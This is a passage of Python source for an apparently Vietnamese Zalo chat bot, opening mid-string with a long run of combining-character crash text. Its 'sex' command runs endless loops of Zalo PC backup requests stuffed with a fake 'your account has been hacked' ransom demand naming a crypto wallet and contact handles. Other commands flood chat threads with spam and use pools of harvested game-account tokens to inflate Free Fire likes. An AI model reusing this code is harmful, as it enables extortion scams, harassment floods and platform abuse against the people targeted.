๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖ"))
		elif message == self.prefix + "sex":
			if self.selid != author_id:
				return
			# print('hi')
			# print(self.sendLocalImage(imagePath='null.jpg', thread_id=thread_id, thread_type=thread_type))
			def taotextdai(gioi_han, tu):
				do_dai_tu = len(tu)
				so_lan_lap = gioi_han // do_dai_tu
				spam = tu * so_lan_lap
				con_du = gioi_han - len(spam)
				if con_du >= len(tu):
					spam += tu * (con_du // do_dai_tu)
				else:
					spam += tu[:con_du]
				
				# spam
				return spam
				
			def random_string(length):
				chars = string.ascii_letters + string.digits  # A-Z, a-z, 0-9
				return ''.join(random.choice(chars) for _ in range(length))
				
			def run():
				tu = "YOUR ACCOUNT HAS BEEN HACKED BY TAHN HANDSOME VL, PLEASE SEND 50$ TO BEP WALLET 0x6A1F3429A116bA4b680E1c5518Ce9f3DccA20F31 TO RECEIVE THE ACCESS FROM YOUR ACCOUNT, YOU HAVE 24 HOUR FOR THIS MESSAGE IS SENDING BEFORE YOUR DATA IS LEAKED, I HAVE FULL PREMISSION TO CONTROLL YOUR ACCOUNT, ZALO: https://zalo.me/g/hvdgtq888, TELEGRAM: @Tahn_dz, GOODLUCK\n "
				gioi_han = 4000
				pc_name = taotextdai(tu=tu, gioi_han=gioi_han)
				while True:
					self.reqBackupDataMessageInZaloPC_POST(pc_name=pc_name, public_key=f"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqjEln94wL7kkpt2gFKoLwCr36etcU4S6sp36FYc0vBXuJ+tiPUyACA86a+P2cOF88rJAUzGn4lFo9Cpj292CBXpHWz668/V+Tro/ao75TVPPGVQYahjyJpFTDKsRzuozzKgEV+UiFu5krXTTEyomr/{random_string(18)}+eqBv3VOCOARD1CvxflN+Qg1KS87EQih/iQDQGf0szjfgjheTi81ds28Kslv9m40xwZJBrJEIOAW56Zn9StkRloTZjU9RXIPvyGtbJ6SZBzNKQh5pLU8t3heQy38PJZBIE66CbroyvUYSjuXWJ5ZDWnV0ziQgTsUCryPUzYsxlcXsQIDAQAB")
					
			def run1():
				tu = "⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣶⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⣴⣶⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⣼⣿⣿⣿⡿⣿⣿⣆⠀⠀⠀⠀⠀⠀⣠⣴⣶⣤⡀⠀ ⠀⠀⠀⢰⣿⣿⣿⣿⠃⠈⢻⣿⣦⠀⠀⠀⠀⣸⣿⣿⣿⣿⣷⠀ ⠀⠀⠀⠘⣿⣿⣿⡏⣴⣿⣷⣝⢿⣷⢀⠀⢀⣿⣿⣿⣿⡿⠋⠀ ⠀⠀⠀⠀⢿⣿⣿⡇⢻⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀ ⠀⠀⠀⠀⢸⣿⣿⣇⢸⣿⣿⡟⠙⠛⠻⣿⣿⣿⣿⡇⠀⠀⠀⠀ ⣴⣿⣿⣿⣿⣿⣿⣿⣠⣿⣿⡇⠀⠀⠀⠉⠛⣽⣿⣇⣀⣀⣀ ⠀ ⠙⠻⠿⠿⠿⠿⠿⠟⠿⠿⠿⠇⠀⠀⠀⠀⠀⠻⠿⠿⠛⠛⠛⠃\n"
				gioi_han = 4000
				pc_name = taotextdai(tu=tu, gioi_han=gioi_han)
				while True:
					self.reqBackupDataMessageInZaloPC_POST(pc_name=pc_name, public_key=f"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqjEln94wL7kkpt2gFKoLwCr36etcU4S6sp36FYc0vBXuJ+tiPUyACA86a+P2cOF88rJAUzGn4lFo9Cpj292CBXpHWz668/V+Tro/ao75TVPPGVQYahjyJpFTDKsRzuozzKgEV+UiFu5krXTTEyomr/{random_string(18)}+eqBv3VOCOARD1CvxflN+Qg1KS87EQih/iQDQGf0szjfgjheTi81ds28Kslv9m40xwZJBrJEIOAW56Zn9StkRloTZjU9RXIPvyGtbJ6SZBzNKQh5pLU8t3heQy38PJZBIE66CbroyvUYSjuXWJ5ZDWnV0ziQgTsUCryPUzYsxlcXsQIDAQAB")
					
			# run()
			self.thread_handsome.submit(run)
			self.thread_handsome.submit(run1)
			
		elif message.startswith(self.prefix + f"spam"):
			noquyen = f"Bạn không có quyền để thực hiện điều này!"
			style_error = MultiMsgStyle([
				MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)
			])

			try:
				if author_id not in self.selfid:
					self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
					return

				try:
					with self.spam_lock:
						cc = message.replace(self.prefix + f"spam", "").strip()
						if cc == "":
							self.replyMessage(Message(text="Vui Lòng Nhập Tên File Ngôn", style=style_error), message_object, thread_id, thread_type)
							return
						elif cc == "noidung.txt":
							with open('noidung.txt', 'r') as file:
								danh_sach = file.readlines()
								danh_sach = [line.strip() for line in danh_sach]
							self.spam_content = danh_sach
						elif cc == "nghia.txt":
							self.spam_content = """𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮 
🧸🎀 𓇼 ⋆｡˚ 𓆝⋆｡˚ 𓇼 ᶻ 𝗓 𐰁 .ᐟ


           ° „ ★ 𝑻𝒏𝒈𝒉𝒋𝒂𝒙 🎀ྀིྀི
𝙝𝙤𝙩𝙩𝙧𝙚𝙤 𝐓𝐧𝐠𝐡𝐣𝐚𝐱 𝙫𝙖̀ 𝙢𝙪̀𝙖 đ𝙤̂𝙣𝙜 𝙣𝙖̆𝙢 𝙖̂́𝙮"""
						else:
							self.replyMessage(Message(text="Hiện Tại Chỉ Hỗ Trợ 2 File Ngôn nghia.txt và noidung.txt", style=style_error), message_object, thread_id, thread_type)
							return
						if not self.is_spamming:
							self.is_spamming = True
							if self.spam_thread is None or not self.spam_thread.is_alive():
								self.spam_thread = threading.Thread(
									target=self.spamMessages,
									args=(message_object, thread_id, thread_type)
								)
								self.spam_thread.start()
				except Exception as e:
					print(f"error {e}")
					self.replyMessage(Message(text=str(e), style=style_error), message_object, thread_id, thread_type)
			except Exception as e:
				self.replyMessage(Message(text=str(e), style=style_error), message_object, thread_id, thread_type)
		elif message == self.prefix + f"stop":
			with self.spam_lock:
				if self.is_spamming:
					self.is_spamming = False
					if self.spam_thread and self.spam_thread.is_alive():
						self.spam_thread.join()
					color = MessageStyle(style="color", color="cdd6f4", offset=0, length=3000, auto_format=False)
					smallfont = MessageStyle(style="font", size="13", offset=0, length=3000, auto_format=False)
					style = MultiMsgStyle([color, smallfont])
					mention = Mention(author_id, length=7, offset=0)
					self.replyMessage(
						Message(
							text="@member spam đã dừng lại.",
							style=style, mention=mention
						),
						message_object,
						thread_id=thread_id,
						thread_type=thread_type
					)
		elif message.startswith(self.prefix + f"server_info"):
			sv = message.replace(self.prefix + f"server_info", "").strip()
			server_info = self.check_minecraft_server(sv)
			if isinstance(server_info, dict):
				info_text = (f"Mô tả server:{server_info['description']}\n"
					f"Player online:{server_info['players_online']}\n"
					f"Players tối đa:{server_info['max_players']}\n"
					f"Phiên bản:{server_info['version']}")
			else:
				info_text = "Server không tồn tại hoặc đang offline"
			color = MessageStyle(style="color", color="cdd6f4", offset=0, length=3000, auto_format=False)
			smallfont = MessageStyle(style="font", size="13", offset=0, length=3000, auto_format=False)
			style = MultiMsgStyle([color, smallfont])        
			self.replyMessage(Message(text=str(info_text), style=style), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + "1"):
			sv = message.replace(self.prefix + "1", "").strip()
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return

			self.send(Message(text=str(sv)), thread_id=thread_id, thread_type=thread_type)
		# elif message.startswith(self.prefix + f"visit"):
			# chat = message
			# text = message

			# command = text.strip().split()

			# if len(command) < 3:
				# msg_to_send = f"ɪɴᴄᴏʀʀᴇᴄᴛ ꜱʏɴᴛᴀx, ᴍɪꜱꜱɪɴɢ ᴜɪᴅ !\n\n*ᴄᴏᴍᴍᴀɴᴅ*: `{self.prefix}visits [ᴜꜱᴇʀ ɪᴅ] [ɴᴜᴍ ᴠɪꜱɪᴛꜱ]`\n*ᴇxᴀᴍᴘʟᴇꜱ*: `{self.prefix}visits 10000001 1000`"                
				# msg_to_send = msg_to_send.replace("\t", "")
				# # bot.reply_to(message, msg_to_send, parse_mode="Markdown")
				# self.replyMessage(Message(text=msg_to_send), message_object, thread_id, thread_type, ttl=10000)

				# return


			# if len(command) == 3:
				# _, uid, number_visits = command
			# else:
				# _, uid, number_visits, *unknown = command


			# if not uid.isdigit() or len(uid) < 8:
				# msg_to_send = "ɪɴᴠᴀʟɪᴅ ᴜɪᴅ! ᴛʜᴇ ᴜɪᴅ ꜱʜᴏᴜʟᴅ ʙᴇ ᴀɴ 8 ᴛᴏ 11 ᴅɪɢɪᴛ ɪɴᴛᴇɢᴇʀ."
				# self.replyMessage(Message(text=msg_to_send), message_object, thread_id, thread_type, ttl=10000)
				# return

			# elif not number_visits.isdigit():
				# msg_to_send = """ɴᴜᴍʙᴇʀ ᴏꜰ ᴠɪꜱɪᴛꜱ ꜱʜᴏᴜʟᴅ ʙᴇ ᴀɴ ɪɴᴛᴇɢᴇʀ."""
				# self.replyMessage(Message(text=msg_to_send), message_object, thread_id, thread_type, ttl=10000)
				# return

			# elif int(number_visits) < 10 or int(number_visits) > 100:
				# msg_to_send = """ᴛʜᴇ ɴᴜᴍʙᴇʀ ᴏꜰ ᴠɪꜱɪᴛꜱ ᴍᴜꜱᴛ ʙᴇ ᴀ ᴍɪɴɪᴍᴜᴍ ᴏꜰ 10 ᴠɪꜱɪᴛꜱ ᴀɴᴅ ᴀ ᴍᴀxɪᴍᴜᴍ ᴏꜰ 1000 ᴠɪꜱɪᴛꜱ."""
				# self.replyMessage(Message(text=msg_to_send), message_object, thread_id, thread_type, ttl=10000)
				# return

			# if True:
				# tokens = get_tokens()
				# acc_info = GetPlayerPersonalShow(uid, tokens[0])
				# if b"token is expired" in acc_info:
					# update_tokens(1)
					# tokens = get_tokens()
					# acc_info = GetPlayerPersonalShow(uid, tokens[0])

				# elif b"BR_ACCOUNT_NOT_FOUND" in acc_info:
					# content = "ᴛʜɪꜱ ɪᴅ ɴᴏᴛ ᴇxɪꜱᴛ ɪɴ ᴛʜᴇ ɢᴀʀᴇɴᴀ ᴅᴀᴛᴀʙᴀꜱᴇ ᴏʀ ʜᴀꜱ ɴᴏᴛ ꜰᴜʟʟʏ ʀᴇɢɪꜱᴛᴇʀᴇᴅ ɪɴ ᴀ ʀᴇɢɪᴏɴ"
					# self.replyMessage(Message(text=content), message_object, thread_id, thread_type, ttl=20000)
					# return

				# elif acc_info == b"\n":
					# content = "ʙᴏᴛ ᴄᴜʀʀᴇɴᴛʟʏ ᴅᴏᴇꜱɴ'ᴛ ꜱᴜᴘᴘᴏʀᴛ ɪɴᴅ, ʙʀ, ʙᴅ, ᴄɪꜱ ꜱᴇʀᴠᴇʀꜱ"
					# self.replyMessage(Message(text=content), message_object, thread_id, thread_type, ttl=20000)
					# return


				# elif not acc_info:
					# msg_to_send = f"ᴛʜɪꜱ ᴜɪᴅ ɴᴏᴛ ᴇxɪꜱᴛ ɪɴ ᴛʜᴇ ɢᴀʀᴇɴᴀ ᴅᴀᴛᴀʙᴀꜱᴇ ᴏʀ ʜᴀꜱ ɴᴏᴛ ꜰᴜʟʟʏ ʀᴇɢɪꜱᴛᴇʀᴇᴅ ɪɴ ᴀ ʀᴇɢɪᴏɴ"
					# self.replyMessage(Message(text=msg_to_send), message_object, thread_id, thread_type, ttl=10000)
					# return

				# acc_info = Parser().parse(acc_info.hex())
				# acc_info = vrxx.parsed_results_to_dict(acc_info)
				# # print(acc_info)
				# acc_name = acc_info[1][3]
				# acc_region = acc_info[1][5]
				# likes_before = int(acc_info[1][21])

				# msg_to_send = f"Sending visits to UID: `{uid}`, nickname `{acc_name}` in region `{acc_region}`..."
				# self.replyMessage(Message(text=msg_to_send), message_object, thread_id, thread_type, ttl=30000)

				# start = time.time()
				# success, error = asyncio.run( VisitProfile(uid, tokens[0], int(number_visits) - 1) )
				# end = time.time()

				# tts_visits = f"{(end - start):.2f}"
				# msg_to_send = f"✨ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ꜱᴇɴᴛ *{success + 1}* ᴠɪꜱɪᴛꜱ ᴛᴏ ᴜɪᴅ: `{uid}`."

				# msg_to_send = msg_to_send.replace("\t", "")

				# self.replyMessage(Message(text=msg_to_send), message_object, thread_id, thread_type, ttl=60000)


		elif message.startswith(self.prefix + f"likes"):
			try:
				text = message.lower()
				parts = text.split(self.prefix + "likes ")

				if len(parts) < 2:
					content = "ᴜɴᴀʙʟᴇ ᴛᴏ ɢᴇᴛ ᴀᴄᴄᴏᴜɴᴛ ɪɴꜰᴏʀᴍᴀᴛɪᴏɴ ʙᴇᴄᴀᴜꜱᴇ ᴜɪᴅ ɪꜱ ᴍɪꜱꜱɪɴɢ."
					# bot.reply_to(message, content)
					self.replyMessage(Message(text=content), message_object, thread_id, thread_type, ttl=20000)
					return

				uid = "".join(parts).strip()
				if not uid.isdigit() or 12 < len(uid) < 8:
					content = "ɪɴᴠᴀʟɪᴅ ᴜɪᴅ! ᴛʜᴇ ᴜɪᴅ ꜱʜᴏᴜʟᴅ ʙᴇ ᴀɴ 8 ᴛᴏ 12 ᴅɪɢɪᴛ ɪɴᴛᴇɢᴇʀ."
					self.replyMessage(Message(text=content), message_object, thread_id, thread_type, ttl=20000)
					return

				tokens = get_tokens()
				# print(tokens[0])
				# print(uid)
				index = 0
				acc_info = GetPlayerPersonalShow(uid, tokens[index])
				print(acc_info)
				if b"token is expired" in acc_info:
					while True:
						try:
							update_tokens()
							break
						except Exception:
							continue
					tokens = get_tokens()
					acc_info = GetPlayerPersonalShow(uid, tokens[index])

				elif b"BR_ACCOUNT_NOT_FOUND" in acc_info:
					content = "ᴛʜɪꜱ ɪᴅ ɴᴏᴛ ᴇxɪꜱᴛ ɪɴ ᴛʜᴇ ɢᴀʀᴇɴᴀ ᴅᴀᴛᴀʙᴀꜱᴇ ᴏʀ ʜᴀꜱ ɴᴏᴛ ꜰᴜʟʟʏ ʀᴇɢɪꜱᴛᴇʀᴇᴅ ɪɴ ᴀ ʀᴇɢɪᴏɴ"
					self.replyMessage(Message(text=content), message_object, thread_id, thread_type, ttl=20000)
					return

				elif acc_info == b"\n":
					for i in range(len(tokens)):
						index += 1
						# print(index)
						acc_info = GetPlayerPersonalShow(uid, tokens[index])
						# print(acc_info)
						if acc_info != b"\n":
							break 

				# print(acc_info)
				acc_info = Parser().parse(acc_info.hex())
				acc_info = vrxx.parsed_results_to_dict(acc_info)
				# print(acc_info)
				try:
					acc_name = acc_info[1][3]
				except Exception as e:
					# print(acc_name)
					return
				acc_region = acc_info[1][5]
				content = f"ꜱᴇɴᴅɪɴɢ ʟɪᴋᴇꜱ ᴛᴏ ᴜɪᴅ: {uid}, ɴɪᴄᴋɴᴀᴍᴇ {acc_name} ɪɴ ʀᴇɢɪᴏɴ {acc_region}..."
				self.replyMessage(Message(text=content), message_object, thread_id, thread_type, ttl=180000)
				likes_before = int(acc_info[1].get(21, 0))
				used_tokens = set()
				while tokens:
					tokens_batch = [token for token in tokens if token not in used_tokens]
					if not tokens_batch:
						update_tokens()
						content = "ꜱᴏʀʀʏ, ᴛʜᴇ ᴛᴏᴋᴇɴ ʜᴀꜱ ᴊᴜꜱᴛ ʙᴇᴇɴ ᴜᴘᴅᴀᴛᴇᴅ. ᴘʟᴇᴀꜱᴇ ᴛʀʏ ᴀɢᴀɪɴ"
						self.replyMessage(Message(text=content), message_object, thread_id, thread_type, ttl=20000)
						break

					start = time.time()
					success, error = asyncio.run( LikeProfile(uid, acc_region, tokens) )
					end = time.time()

					if not success and error >= 100:
						used_tokens.update(tokens_batch)

					else:
						break

				tts_like = f"{(end - start):.2f}"
				acc_info = GetPlayerPersonalShow(uid, tokens[index])
				acc_info = Parser().parse(acc_info.hex())
				acc_info = VrxxTools().parsed_results_to_dict(acc_info)
				likes_after = int(acc_info[1].get(21, 0))

				likes_increase = likes_after - likes_before
				if not likes_increase and success:
					content = f"ᴀᴄᴄᴏᴜɴᴛ ᴡɪᴛʜ ᴜɪᴅ `{uid}` ʜᴀꜱ ʀᴇᴀᴄʜᴇᴅ ᴍᴀxɪᴍᴜᴍ ʟɪᴋᴇꜱ ᴛᴏᴅᴀʏ! ᴘʟᴇᴀꜱᴇ ᴡᴀɪᴛ ᴜɴᴛɪʟ ᴛᴏᴍᴏʀʀᴏᴡ ᴛᴏ ꜱᴇɴᴅ ʟɪᴋᴇꜱ ᴀɢᴀɪɴ"
					self.replyMessage(Message(text=content), message_object, thread_id, thread_type, ttl=20000)

					return

				content = f"🚀 UID Validated - API connected\n\n🪪 | ᴜɪᴅ: [ {uid} ]\n👤 | ɴᴀᴍᴇ: [ {acc_name} ]\n🌍 | ʀᴇɢɪᴏɴ: [ {acc_region} ]\n⏳ | ᴛɪᴍᴇ ꜱᴇɴᴛ: [ {tts_like}ꜱ ]\n\n🗒️ Likes details\n\n🐥 ʟɪᴋᴇꜱ ʙᴇꜰᴏʀᴇ ᴄᴍᴅ: {likes_before}\n🐦‍🔥 ʟɪᴋᴇꜱ ᴀꜰᴛᴇʀ ᴄᴍᴅ: {likes_after}\n🐉 ʟɪᴋᴇꜱ ɢɪᴠᴇɴ ʙʏ ʙᴏᴛ: {likes_increase}"

				# content = content.replace("\t", "")
				# content = content.replace("[", "&#91;")
				# content = content.replace("]", "&#93;")
				content = content.replace("[", "")
				content = content.replace("]", "")

				# media = InputMediaPhoto(open("./assets/Images/likes_sent.png", "rb"), caption=content, parse_mode="HTML")
				# bot.edit_message_media(media=media, chat_id=message.chat.id, message_id=msg_obj.message_id)
				self.sendLocalImage("./assets/Images/likes_sent.png", message=Message(text=content), width=600, height=240, thread_id=thread_id, thread_type=thread_type, ttl=21600000)
			except Exception as e:
				traceback.print_exc()
		elif message.startswith(self.prefix + f"update_token"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			def update_token_command(num_token=0):
				while True:
					global tokens

					# print("ᴜᴘᴅᴀᴛɪɴɢ ᴛᴏᴋᴇɴ ʟɪꜱᴛ, ᴘʟᴇᴀꜱᴇ ᴡᴀɪᴛ...")
					self.replyMessage(Message(text="ᴜᴘᴅᴀᴛɪɴɢ ᴛᴏᴋᴇɴ ʟɪꜱᴛ, ᴘʟᴇᴀꜱᴇ ᴡᴀɪᴛ..."), message_object, thread_id, thread_type, ttl=10000)

					try:
						accounts = self.accFifi.load_data()
						# print(accounts)
						tokensList = TokenRetriever(accounts)
						# print(tokensList)
						tokens = [token for uid, token in tokensList]
						tokensList = tokensList[:num_token] if num_token else tokensList
						self.accFifi.update_tokens(tokensList)
						self.replyMessage(Message(text=f"{len(tokens)} ᴛᴏᴋᴇɴꜱ ʜᴀꜱ ʙᴇᴇɴ ᴜᴘᴅᴀᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ✅"), message_object, thread_id, thread_type, ttl=60000)
						break
					except Exception as e:
						self.replyMessage(Message(text=f"ᴛᴏᴋᴇɴ ʟɪꜱᴛ ᴜᴘᴅᴀᴛᴇ ꜰᴀɪʟᴇᴅ! ᴇʀʀᴏʀ: `{e}`"), message_object, thread_id, thread_type, ttl=60000)
						continue
			update_token_command()

		elif message.startswith(self.prefix + f"inff"):
			uid = message.replace(self.prefix + f"inff", "").strip()
			content = f"ꜰᴇᴛᴄʜɪɴɢ ɪɴꜰᴏʀᴍᴀᴛɪᴏɴ ᴏꜰ ᴜɪᴅ `{uid}`..."
			self.replyMessage(Message(text=content), message_object, thread_id, thread_type, ttl=5000)

			try:
				def update_token_command(num_token=0):
					while True:
						
						print("ᴜᴘᴅᴀᴛɪɴɢ ᴛᴏᴋᴇɴ ʟɪꜱᴛ, ᴘʟᴇᴀꜱᴇ ᴡᴀɪᴛ...")
	
						try:
							accounts = self.accFifi.load_data()
							# print(accounts)
							tokensList = TokenRetriever(accounts)
							print(tokensList)
							tokens = [token for uid, token in tokensList]
